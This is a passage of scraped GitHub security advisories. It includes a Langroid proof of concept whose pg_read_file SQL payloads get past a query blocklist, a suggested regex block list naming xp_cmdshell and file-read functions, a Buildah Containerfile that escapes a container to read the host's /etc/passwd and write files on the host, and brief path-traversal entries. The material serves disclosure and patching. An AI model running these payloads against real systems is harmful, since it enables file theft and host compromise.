\"CREATE\",\n sqlglot_exp.Drop: \"DROP\", sqlglot_exp.Alter: \"ALTER\",\n sqlglot_exp.TruncateTable: \"TRUNCATE\", sqlglot_exp.Command: \"COMMAND\",\n }\n for stmt in statements:\n if stmt is None:\n continue\n kind = next(\n (v for k, v in kind_map.items() if isinstance(stmt, k)),\n type(stmt).__name__.upper(),\n )\n if kind not in allowed:\n return f\"Rejected: statement type {kind!r} not in allowed {sorted(allowed)}\"\n return None\n\n\ndef main():\n patched_patterns, allowed_statements = load_patterns_from_pinned_source()\n print(f\"_DANGEROUS_SQL_PATTERNS count: {len(patched_patterns)}\")\n print(f\"_DEFAULT_ALLOWED_STATEMENTS: {allowed_statements}\")\n\n import testing.postgresql\n from sqlalchemy import create_engine, text\n\n pg = testing.postgresql.Postgresql()\n db_uri = pg.url()\n engine = create_engine(db_uri)\n with engine.connect() as conn:\n pgdata = conn.execute(text(\"SHOW data_directory\")).scalar()\n victim_rel = \"langroid_bypass_victim.txt\"\n victim_abs = os.path.join(pgdata, victim_rel)\n with open(victim_abs, \"w\") as f:\n f.write(\"PWNED_BY_LANGROID_VALIDATOR_BYPASS\\n\")\n print(f\"=== Victim file at: {victim_abs}\")\n\n bypass_payloads = [\n (\"bypass.pg_read_file\", f\"SELECT pg_read_file(\u0027{victim_rel}\u0027)\"),\n (\"bypass.pg_stat_file\", f\"SELECT pg_stat_file(\u0027{victim_rel}\u0027)\"),\n (\"bypass.pg_ls_logdir\", \"SELECT pg_ls_logdir()\"),\n (\"bypass.pg_ls_waldir\", \"SELECT pg_ls_waldir()\"),\n (\"bypass.pg_current_logfile\", \"SELECT pg_current_logfile()\"),\n ]\n\n for label, query in bypass_payloads:\n rej = validate_query(query, patched_patterns, allowed_statements, \"postgres\")\n verdict = \"REJECTED\" if rej is not None else \"ALLOWED\"\n print(f\" [{verdict}] {label}: {query}\")\n if verdict == \"ALLOWED\":\n try:\n with engine.connect() as conn:\n rows = conn.execute(text(query)).fetchall()\n preview = [tuple(str(c)[:80] for c in r) for r in rows[:2]]\n print(f\" -\u003e live engine returned rows={len(rows)} preview={preview}\")\n except Exception as e:\n print(f\" -\u003e live engine error: {type(e).__name__}: {str(e)[:120]}\")\n\n\nif __name__ == \"__main__\":\n main()\n```\n\n### End-to-end reproduction\n\nRun against the latest published `langroid` release from PyPI; no external\nLLM provider, no API key, no Docker, just a transient `pg_ctl`-managed\nPostgreSQL spawned in-process by `testing.postgresql`. Captured transcript\nof the run is below.\n\n```bash\n# 1. Pin install the latest published release\npython3.12 -m venv /tmp/poc-langroid-bypass/venv\nsource /tmp/poc-langroid-bypass/venv/bin/activate\npip install \u0027langroid==0.63.0\u0027 \u0027testing.postgresql\u0027 \u0027sqlglot\u0027 \u0027sqlalchemy\u003c2.1\u0027\n\n# 2. Drop poc.py from the Proof-of-concept section above into\n# /tmp/poc-langroid-bypass/poc.py and run it\npython /tmp/poc-langroid-bypass/poc.py\n```\n\nObserved transcript (abridged to bypass results; the run also verifies\nthat the four primitives the current blocklist already covers\n(`COPY ... TO PROGRAM`, `pg_read_server_file`, `pg_read_binary_file`,\n`pg_ls_dir`) continue to be REJECTED, confirming the proposed fix is\nstrictly broader, not narrower):\n\n```text\n_DANGEROUS_SQL_PATTERNS count: 17\n_DEFAULT_ALLOWED_STATEMENTS: [\u0027SELECT\u0027]\n=== Transient PostgreSQL: postgresql://postgres@127.0.0.1:64694/test\n=== Victim file at: /var/folders/.../tmpwuftmtu4/data/langroid_bypass_victim.txt\n\nPATCHED VALIDATOR RESULTS (langroid 0.63.0 as shipped)\n [ALLOWED] bypass.pg_read_file SELECT pg_read_file(\u0027langroid_bypass_victim.txt\u0027)\n [ALLOWED] bypass.pg_stat_file SELECT pg_stat_file(\u0027langroid_bypass_victim.txt\u0027)\n [ALLOWED] bypass.pg_ls_logdir SELECT pg_ls_logdir()\n [ALLOWED] bypass.pg_ls_waldir SELECT pg_ls_waldir()\n [ALLOWED] bypass.pg_current_logfile SELECT pg_current_logfile()\n\nLIVE EXECUTION OF BYPASS PAYLOADS (postgres only)\n [EXECUTED] bypass.pg_read_file -\u003e rows=1 preview=[(\u0027PWNED_BY_LANGROID_VALIDATOR_BYPASS\\n\u0027,)]\n [EXECUTED] bypass.pg_stat_file -\u003e rows=1 preview=[(\u0027(35,\"2026-05-28 10:11:19+08\",\"2026-05-28 10:11:19+08\",\"2026-05-28 10:11:19+08\",,\u0027,)]\n [EXECUTED] bypass.pg_ls_waldir -\u003e rows=1 preview=[(\u0027(000000010000000000000001,16777216,\"2026-05-28 10:11:19+08\")\u0027,)]\n [EXECUTED] bypass.pg_current_logfile -\u003e rows=1 preview=[(\u0027None\u0027,)]\n\nNEGATIVE CONTROL \u2014 SUGGESTED FIX VALIDATOR\n [REJECTED] bypass.pg_read_file -\u003e OK\n [REJECTED] bypass.pg_stat_file -\u003e OK\n [REJECTED] bypass.pg_ls_logdir -\u003e OK\n [REJECTED] bypass.pg_ls_waldir -\u003e OK\n [REJECTED] bypass.pg_current_logfile -\u003e OK\n [REJECTED] already_blocked.copy_program -\u003e OK\n [REJECTED] already_blocked.pg_read_server_file -\u003e OK\n [REJECTED] already_blocked.pg_read_binary_file -\u003e OK\n [REJECTED] already_blocked.pg_ls_dir -\u003e OK\n```\n\nThe headline payload `SELECT pg_read_file(\u0027langroid_bypass_victim.txt\u0027)`\nreturns the marker string verbatim from the file on disk. The same SQL,\nissued by an LLM under prompt-injection through any data source the agent\nreads, would land identically \u2014 the validator is purely a function of the\nSQL string and is consulted before the SQLAlchemy execute.\n\n`_validate_query` is invoked directly rather than through a fully\ninitialised `SQLChatAgent` because the agent\u0027s `__init__` builds the LLM\nstack and demands a working LLM API key (or a stub). The security\ncontrol under test is purely a function of `(query, patterns,\nallowed_statements, dialect)`, so the direct call is observationally\nequivalent to a call via `run_query`. Patterns and allowed-statements are\nloaded by reading the pinned `sql_chat_agent.py` source out of the venv,\nguaranteeing no drift between PoC and shipped binary.\n\n### Impact\n\n- **Arbitrary file read** from the PostgreSQL host: `pg_read_file()` reads\n files from PGDATA-relative paths by default and can take absolute paths\n when the DB role holds `pg_read_server_files` (or equivalent in\n managed-Postgres setups). For self-managed PostgreSQL deployments the\n DB role is frequently a superuser, in which case absolute paths are\n always accepted and the impact extends to `postgresql.conf`,\n `pg_hba.conf`, `~/.pgpass`, TLS keys, and any other file readable by\n the PostgreSQL OS user.\n- **Filesystem reconnaissance** via `pg_stat_file()` (file existence,\n size, mtime, isdir), `pg_ls_logdir()`, `pg_ls_waldir()`,\n `pg_ls_tmpdir()`, `pg_ls_archive_statusdir()`,\n `pg_current_logfile()`.\n- **MSSQL extension:** `OPENDATASOURCE` reaches remote SQL Servers and\n UNC paths, providing arbitrary outbound read + intranet pivot on MSSQL\n deployments.\n- **SQLite extension:** `ATTACH \u0027\u003cpath\u003e\u0027 AS schemaname` (DATABASE keyword\n omitted) allows reading/writing arbitrary SQLite files on deployments\n whose `allowed_statement_types` include `\"ATTACH\"`.\n\n### Suggested fix\n\nPatch `_DANGEROUS_SQL_PATTERNS` to cover the full family rather than\nindividual function names. Two compatible approaches; either is enough.\n\nApproach 1 \u2014 family-prefix regex (minimal change, simplest to review):\n\n```python\n_DANGEROUS_SQL_PATTERNS: List[\"re.Pattern[str]\"] = [\n re.compile(r\"\\bcopy\\b[\\s\\S]*\\bprogram\\b\", re.IGNORECASE),\n # Block the whole pg_read_*, pg_stat_*, pg_ls_*, pg_current_logfile\n # family. Covers pg_read_file, pg_read_server_file(s),\n # pg_read_binary_file, pg_stat_file, pg_ls_logdir, pg_ls_waldir,\n # pg_ls_tmpdir, pg_ls_archive_statusdir, pg_ls_dir,\n # pg_current_logfile, plus any future siblings PostgreSQL adds.\n re.compile(\n r\"\\bpg_(read|stat|ls|current_logfile)[A-Za-z0-9_]*\\s*\\(\",\n re.IGNORECASE,\n ),\n re.compile(r\"\\blo_(import|export)\\b\", re.IGNORECASE),\n re.compile(r\"\\binto\\s+(outfile|dumpfile)\\b\", re.IGNORECASE),\n re.compile(r\"\\bload_file\\s*\\(\", re.IGNORECASE),\n re.compile(r\"\\bload\\s+data\\b\", re.IGNORECASE),\n re.compile(r\"\\bload_extension\\s*\\(\", re.IGNORECASE),\n # SQLite grammar: ATTACH [DATABASE] expr AS schema-name.\n # The DATABASE keyword is optional; match either form.\n re.compile(r\"\\battach\\b(\\s+database)?\\s+[\u0027\\\"\\w]\", re.IGNORECASE),\n re.compile(r\"\\bxp_cmdshell\\b\", re.IGNORECASE),\n re.compile(r\"\\bsp_oacreate\\b\", re.IGNORECASE),\n re.compile(r\"\\bsp_oamethod\\b\", re.IGNORECASE),\n re.compile(r\"\\b(openrowset|opendatasource)\\b\", re.IGNORECASE),\n re.compile(r\"\\bbulk\\s+insert\\b\", re.IGNORECASE),\n re.compile(\n r\"\\bcreate\\s+(or\\s+replace\\s+)?(function|procedure|trigger|language|rule|event\\s+trigger|foreign\\s+table)\\b\",\n re.IGNORECASE,\n ),\n re.compile(r\"\\bcreate\\s+extension\\b\", re.IGNORECASE),\n]\n```\n\nApproach 2 \u2014 `sqlglot` AST walk in addition to regex. `sqlglot` is already\nimported by `sql_chat_agent.py`; iterate every function-call node\n(`sqlglot_exp.Anonymous` / `sqlglot_exp.Func`) inside the parsed\nstatements and reject when the lower-cased name starts with `pg_read`,\n`pg_stat`, `pg_ls`, `pg_current_logfile`, `lo_`, or matches the MSSQL\nextended-procedure prefixes (`xp_`, `sp_oa`). AST matching is robust to\nwhitespace, comments, and case games inside identifiers, at the cost of\nbroader per-dialect maintenance. For closing the immediate gap, Approach\n1 is sufficient.\n\nRegression-test the additions in\n`tests/main/sql_chat/test_sql_chat_security.py` alongside the existing\nsecurity tests. A natural 7-case extension covers the 5 PostgreSQL\nbypass payloads, the SQLite `ATTACH ... AS x` form, and the MSSQL\n`OPENDATASOURCE` form.\n\n### Fix PR\n\nA private temp-fork PR applying the **Suggested fix** Approach 1 diff,\nplus the regression tests described above, accompanies this advisory:\nhttps://github.com/langroid/langroid-ghsa-pmch-g965-grmr/pull/1\n\n### Credit\n\nReported by tonghuaroot.",
"id": "GHSA-pmch-g965-grmr",
"modified": "2026-07-02T17:42:09Z",
"published": "2026-07-02T17:42:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/langroid/langroid/security/advisories/GHSA-pmch-g965-grmr"
},
{
"type": "WEB",
"url": "https://github.com/langroid/langroid/commit/00b7dd7b79c5d03c94be284cf3459d98195ebfba"
},
{
"type": "PACKAGE",
"url": "https://github.com/langroid/langroid"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Langroid: SQLChatAgent _validate_query blocklist misses pg_read_file family enabling arbitrary file read"
}
GHSA-PMF3-C36M-G5CF
Vulnerability from github – Published: 2024-03-19 20:06 – Updated: 2024-04-05 18:36Impact
What kind of vulnerability is it? Who is impacted?
Users running containers with root privileges allowing a container to run with read/write access to the host system files when selinux is not enabled. With selinux enabled, some read access is allowed.
Patches
From @nalind
# cat /root/cve-2024-1753.diff
--- internal/volumes/volumes.go
+++ internal/volumes/volumes.go
@@ -11,6 +11,7 @@ import (
"errors"
+ "github.com/containers/buildah/copier"
"github.com/containers/buildah/define"
"github.com/containers/buildah/internal"
internalParse "github.com/containers/buildah/internal/parse"
@@ -189,7 +190,11 @@ func GetBindMount(ctx *types.SystemContext, args []string, contextDir string, st
// buildkit parity: support absolute path for sources from current build context
if contextDir != "" {
// path should be /contextDir/specified path
- newMount.Source = filepath.Join(contextDir, filepath.Clean(string(filepath.Separator)+newMount.Source))
+ evaluated, err := copier.Eval(contextDir, newMount.Source, copier.EvalOptions{})
+ if err != nil {
+ return newMount, "", err
+ }
+ newMount.Source = evaluated
} else {
// looks like its coming from `build run --mount=type=bind` allow using absolute path
// error out if no source is set
Reproducer
Prior to testing, as root, add a memorable username to /etc/passwd via adduser or your favorite editor. Also create a memorably named file in /. Suggest: touch /SHOULDNTSEETHIS.txt and adduser SHOULDNTSEETHIS. After testing, remember to remove both the file and the user from your system.
Use the following Containerfile
# cat ~/cve_Containerfile
FROM alpine as base
RUN ln -s / /rootdir
RUN ln -s /etc /etc2
FROM alpine
RUN echo "ls container root"
RUN ls -l /
RUN echo "With exploit show host root, not the container's root, and create /BIND_BREAKOUT in / on the host"
RUN --mount=type=bind,from=base,source=/rootdir,destination=/exploit,rw ls -l /exploit; touch /exploit/BIND_BREAKOUT; ls -l /exploit
RUN echo "With exploit show host /etc/passwd, not the container's, and create /BIND_BREAKOUT2 in /etc on the host"
RUN --mount=type=bind,rw,source=/etc2,destination=/etc2,from=base ls -l /; ls -l /etc2/passwd; cat /etc2/passwd; touch /etc2/BIND_BREAKOUT2; ls -l /etc2
To Test
Testing with an older version of Buildah with the issue
setenforce 0
buildah build -f ~/cve_Containerfile .
As part of the printout from the build, you should be able to see the contents of the /' and/etcdirectories, including the/SHOULDNOTSEETHIS.txtfile that you created, and the contents of the/etc/passwdfile which will include theSHOULDNOTSEETHISuser that you created. In addition, the file/BIND_BREAKOUTand/etc/BIND_BREAKOUT2` will exist on the host after the command is completed. Be sure to remove those two files between tests.
buildah rm -a
buildah rmi -a
rm /BIND_BREAKOUT
rm /etc/BIND_BREAKOUT2
setenforce 1
buildah build -f ~/cve_Containerfile .
Neither the /BIND_BREAKEOUT or /etc/BIND_BREAKOUT2 files should be created. An error should be raised during the build when both files are trying to be created. Also, errors will be raised when the build tries to display the contents of the /etc/passwd file, and nothing will be displayed from that file.
However, the files in both the / and /etc directories on the host system will be displayed.
Testing with the patch
Use the same commands as testing with an older version of Buildah.
When running using the patched version of Buildah, regardless of the setenforce settings, you should not see the file that you created or the user that you added. Also the /BIND_BREAKOUT and the /etc/BIND_BREAKOUT will not exist on the host after the test completes.
NOTE: With the fix, the contents of the / and /etc directories, and the /etc/passwd file will be displayed, however, it will be the file and contents from the container image, and NOT the host system. Also the /BIND_BREAKOUT and /etc/BIND_BREAKOUT files will be created in the container image.
Workarounds
Ensure selinux controls are in place to avoid compromising sensitive system files and systems. With "setenforce 0" set, which is not at all advised, the root file system is open for modification with this exploit. With "setenfoce 1" set, which is the recommendation, files can not be changed. However, the contents of the / directory can be displayed. I.e., ls -alF / will show the contents of the host directory.
References
Unknown.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/containers/buildah"
},
"ranges": [
{
"events": [
{
"introduced": "1.35.0"
},
{
"fixed": "1.35.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/containers/buildah"
},
"ranges": [
{
"events": [
{
"introduced": "1.34.0"
},
{
"fixed": "1.34.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/containers/buildah"
},
"ranges": [
{
"events": [
{
"introduced": "1.33.0"
},
{
"fixed": "1.33.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/containers/buildah"
},
"ranges": [
{
"events": [
{
"introduced": "1.25.0"
},
{
"fixed": "1.27.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/containers/buildah"
},
"ranges": [
{
"events": [
{
"introduced": "1.24.0"
},
{
"fixed": "1.24.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/containers/buildah"
},
"ranges": [
{
"events": [
{
"introduced": "1.28.0"
},
{
"fixed": "1.29.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/containers/buildah"
},
"ranges": [
{
"events": [
{
"introduced": "1.30.0"
},
{
"fixed": "1.31.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/containers/buildah"
},
"ranges": [
{
"events": [
{
"introduced": "1.32.0"
},
{
"fixed": "1.32.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2024-03-19T20:06:52Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nUsers running containers with root privileges allowing a container to run with read/write access to the host system files when selinux is not enabled. With selinux enabled, some read access is allowed.\n\n### Patches\nFrom @nalind \n```\n# cat /root/cve-2024-1753.diff\n--- internal/volumes/volumes.go\n+++ internal/volumes/volumes.go\n@@ -11,6 +11,7 @@ import (\n \n \t\"errors\"\n \n+\t\"github.com/containers/buildah/copier\"\n \t\"github.com/containers/buildah/define\"\n \t\"github.com/containers/buildah/internal\"\n \tinternalParse \"github.com/containers/buildah/internal/parse\"\n@@ -189,7 +190,11 @@ func GetBindMount(ctx *types.SystemContext, args []string, contextDir string, st\n \t// buildkit parity: support absolute path for sources from current build context\n \tif contextDir != \"\" {\n \t\t// path should be /contextDir/specified path\n-\t\tnewMount.Source = filepath.Join(contextDir, filepath.Clean(string(filepath.Separator)+newMount.Source))\n+\t\tevaluated, err := copier.Eval(contextDir, newMount.Source, copier.EvalOptions{})\n+\t\tif err != nil {\n+\t\t\treturn newMount, \"\", err\n+\t\t}\n+\t\tnewMount.Source = evaluated\n \t} else {\n \t\t// looks like its coming from `build run --mount=type=bind` allow using absolute path\n \t\t// error out if no source is set\n```\n### Reproducer\n\nPrior to testing, as root, add a memorable username to `/etc/passwd` via adduser or your favorite editor. Also create a memorably named file in `/`. Suggest: `touch /SHOULDNTSEETHIS.txt` and `adduser SHOULDNTSEETHIS`. After testing, remember to remove both the file and the user from your system.\n\nUse the following Containerfile\n\n```\n# cat ~/cve_Containerfile\nFROM alpine as base\n\nRUN ln -s / /rootdir\nRUN ln -s /etc /etc2\n\nFROM alpine\n\nRUN echo \"ls container root\"\nRUN ls -l /\n\nRUN echo \"With exploit show host root, not the container\u0027s root, and create /BIND_BREAKOUT in / on the host\"\nRUN --mount=type=bind,from=base,source=/rootdir,destination=/exploit,rw ls -l /exploit; touch /exploit/BIND_BREAKOUT; ls -l /exploit\n\nRUN echo \"With exploit show host /etc/passwd, not the container\u0027s, and create /BIND_BREAKOUT2 in /etc on the host\"\nRUN --mount=type=bind,rw,source=/etc2,destination=/etc2,from=base ls -l /; ls -l /etc2/passwd; cat /etc2/passwd; touch /etc2/BIND_BREAKOUT2; ls -l /etc2 \n```\n\n#### To Test\n\n##### Testing with an older version of Buildah with the issue\n```\nsetenforce 0\nbuildah build -f ~/cve_Containerfile .\n```\n\nAs part of the printout from the build, you should be able to see the contents of the `/\u0027 and `/etc` directories, including the `/SHOULDNOTSEETHIS.txt` file that you created, and the contents of the `/etc/passwd` file which will include the `SHOULDNOTSEETHIS` user that you created. In addition, the file `/BIND_BREAKOUT` and `/etc/BIND_BREAKOUT2` will exist on the host after the command is completed. Be sure to remove those two files between tests. \n\n```\nbuildah rm -a\nbuildah rmi -a\nrm /BIND_BREAKOUT\nrm /etc/BIND_BREAKOUT2\nsetenforce 1\nbuildah build -f ~/cve_Containerfile .\n```\nNeither the `/BIND_BREAKEOUT` or `/etc/BIND_BREAKOUT2` files should be created. An error should be raised during the build when both files are trying to be created. Also, errors will be raised when the build tries to display the contents of the `/etc/passwd` file, and nothing will be displayed from that file. \n\nHowever, the files in both the `/` and `/etc` directories on the host system will be displayed.\n\n##### Testing with the patch\n\nUse the same commands as testing with an older version of Buildah.\n\nWhen running using the patched version of Buildah, regardless of the `setenforce` settings, you should not see the file that you created or the user that you added. Also the `/BIND_BREAKOUT` and the `/etc/BIND_BREAKOUT` will not exist on the host after the test completes.\n\nNOTE: With the fix, the contents of the `/` and `/etc` directories, and the `/etc/passwd` file will be displayed, however, it will be the file and contents from the container image, and NOT the host system. Also the `/BIND_BREAKOUT` and `/etc/BIND_BREAKOUT` files will be created in the container image.\n\n\n### Workarounds\nEnsure selinux controls are in place to avoid compromising sensitive system files and systems. With \"setenforce 0\" set, which is not at all advised, the root file system is open for modification with this exploit. With \"setenfoce 1\" set, which is the recommendation, files can not be changed. However, the contents of the `/` directory can be displayed. I.e., `ls -alF /` will show the contents of the host directory.\n\n### References\n\nUnknown.\n",
"id": "GHSA-pmf3-c36m-g5cf",
"modified": "2024-04-05T18:36:17Z",
"published": "2024-03-19T20:06:52Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/containers/buildah/security/advisories/GHSA-pmf3-c36m-g5cf"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-1753"
},
{
"type": "WEB",
"url": "https://github.com/containers/buildah/commit/3deda19137f5dec0285bbb832bd93c22d860b087"
},
{
"type": "WEB",
"url": "https://github.com/containers/buildah/commit/9de9c20ff368beb84b84fe660773d352519dc1c5"
},
{
"type": "WEB",
"url": "https://github.com/containers/buildah/commit/a030f7b8cd373075affef1f86de43a87e502f3d8"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2265513"
},
{
"type": "PACKAGE",
"url": "https://github.com/containers/buildah"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Container escape at build time"
}
GHSA-PMG2-RPH8-P8R6
Vulnerability from github – Published: 2022-12-16 00:30 – Updated: 2025-04-23 14:36In versions of Alist prior to 3.6.0, a user with only file upload permission can bypass the base path restriction by using '... /' to bypass the base path restriction and upload files to an arbitrary path.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/alist-org/alist/v3"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.6.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-45969"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2022-12-16T17:21:27Z",
"nvd_published_at": "2022-12-15T23:15:00Z",
"severity": "CRITICAL"
},
"details": "In versions of Alist prior to 3.6.0, a user with only file upload permission can bypass the base path restriction by using \u0027... /\u0027 to bypass the base path restriction and upload files to an arbitrary path.",
"id": "GHSA-pmg2-rph8-p8r6",
"modified": "2025-04-23T14:36:30Z",
"published": "2022-12-16T00:30:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-45969"
},
{
"type": "WEB",
"url": "https://github.com/alist-org/alist/issues/2449"
},
{
"type": "WEB",
"url": "https://github.com/alist-org/alist/commit/b5bf5f43253175b55fa2cb511fea601e677d2d83"
},
{
"type": "PACKAGE",
"url": "https://github.com/alist-org/alist"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Alist vulnerable to Path Traversal"
}
GHSA-PMG8-9XXH-V2WV
Vulnerability from github – Published: 2026-04-28 00:31 – Updated: 2026-04-28 00:31OpenClaw before 2026.3.31 contains a path traversal vulnerability in ACP dispatch that allows attackers to read arbitrary files by manipulating inbound channel attachment paths. Remote attackers can bypass attachment-cache and root directory checks to access files outside intended directories.
{
"affected": [],
"aliases": [
"CVE-2026-41370"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-28T00:16:26Z",
"severity": "HIGH"
},
"details": "OpenClaw before 2026.3.31 contains a path traversal vulnerability in ACP dispatch that allows attackers to read arbitrary files by manipulating inbound channel attachment paths. Remote attackers can bypass attachment-cache and root directory checks to access files outside intended directories.",
"id": "GHSA-pmg8-9xxh-v2wv",
"modified": "2026-04-28T00:31:41Z",
"published": "2026-04-28T00:31:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-58q2-7r52-jq62"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41370"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/566fb73d9da2d73c0be0d9b8e5b762e4dcd8e81d"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openclaw-path-traversal-via-inbound-channel-attachment-path-in-acp-dispatch"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-PMGV-HP4M-3XJP
Vulnerability from github – Published: 2026-07-20 12:33 – Updated: 2026-07-20 12:33SurrealDB before 3.1.5 contains an arbitrary file read vulnerability in the DEFINE ANALYZER mapper filter that allows database users with EDITOR or OWNER roles to read files accessible to the SurrealDB process. Attackers can specify arbitrary file paths in the mapper filter and retrieve file contents through query error messages when the SURREAL_FILE_ALLOWLIST is empty or not configured.
{
"affected": [],
"aliases": [
"CVE-2026-63739"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-20T12:19:43Z",
"severity": "HIGH"
},
"details": "SurrealDB before 3.1.5 contains an arbitrary file read vulnerability in the DEFINE ANALYZER mapper filter that allows database users with EDITOR or OWNER roles to read files accessible to the SurrealDB process. Attackers can specify arbitrary file paths in the mapper filter and retrieve file contents through query error messages when the SURREAL_FILE_ALLOWLIST is empty or not configured.",
"id": "GHSA-pmgv-hp4m-3xjp",
"modified": "2026-07-20T12:33:08Z",
"published": "2026-07-20T12:33:08Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/surrealdb/surrealdb/security/advisories/GHSA-cc8f-fcx3-gpjr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-63739"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/surrealdb-before-arbitrary-file-read-via-define-analyzer"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-PMH9-5C73-WC86
Vulnerability from github – Published: 2026-06-30 06:31 – Updated: 2026-06-30 06:31The PixMagix – WordPress Image Editor plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 1.7.2 via the move_image_on_server function. This makes it possible for authenticated attackers, with author-level access and above, to write files with attacker-controlled content to arbitrary locations on the server. The unsanitized 'layers[].id' parameter is concatenated into a filesystem path and passed to PHP's copy() function, allowing traversal sequences (e.g. '../../') to escape the intended upload directory and write attacker-supplied file contents to arbitrary paths accessible by the web server process. The save_template REST endpoint is gated by the create_projects permission (edit_pixmagix + upload_files), which Author-level users hold by default after plugin activation, making this exploitable by any Author on sites running PixMagix.
{
"affected": [],
"aliases": [
"CVE-2026-11367"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-30T06:16:23Z",
"severity": "MODERATE"
},
"details": "The PixMagix \u2013 WordPress Image Editor plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 1.7.2 via the move_image_on_server function. This makes it possible for authenticated attackers, with author-level access and above, to write files with attacker-controlled content to arbitrary locations on the server. The unsanitized \u0027layers[].id\u0027 parameter is concatenated into a filesystem path and passed to PHP\u0027s copy() function, allowing traversal sequences (e.g. \u0027../../\u0027) to escape the intended upload directory and write attacker-supplied file contents to arbitrary paths accessible by the web server process. The save_template REST endpoint is gated by the create_projects permission (edit_pixmagix + upload_files), which Author-level users hold by default after plugin activation, making this exploitable by any Author on sites running PixMagix.",
"id": "GHSA-pmh9-5c73-wc86",
"modified": "2026-06-30T06:31:21Z",
"published": "2026-06-30T06:31:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-11367"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/pixmagix/tags/1.7.2/includes/rest-api/rest-callback-save-template.php#L103"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/pixmagix/tags/1.7.2/includes/rest-api/rest-callback-save-template.php#L91"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/pixmagix/tags/1.7.2/includes/utils.php#L465"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/c87adbd9-3b09-403e-921a-31b3f58962e9?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-PMHC-2G4F-85CG
Vulnerability from github – Published: 2023-07-24 21:30 – Updated: 2025-02-13 19:01Apache Shiro, before 1.12.0 or 2.0.0-alpha-3, may be susceptible to a path traversal attack that results in an authentication bypass when used together with APIs or other web frameworks that route requests based on non-normalized requests.
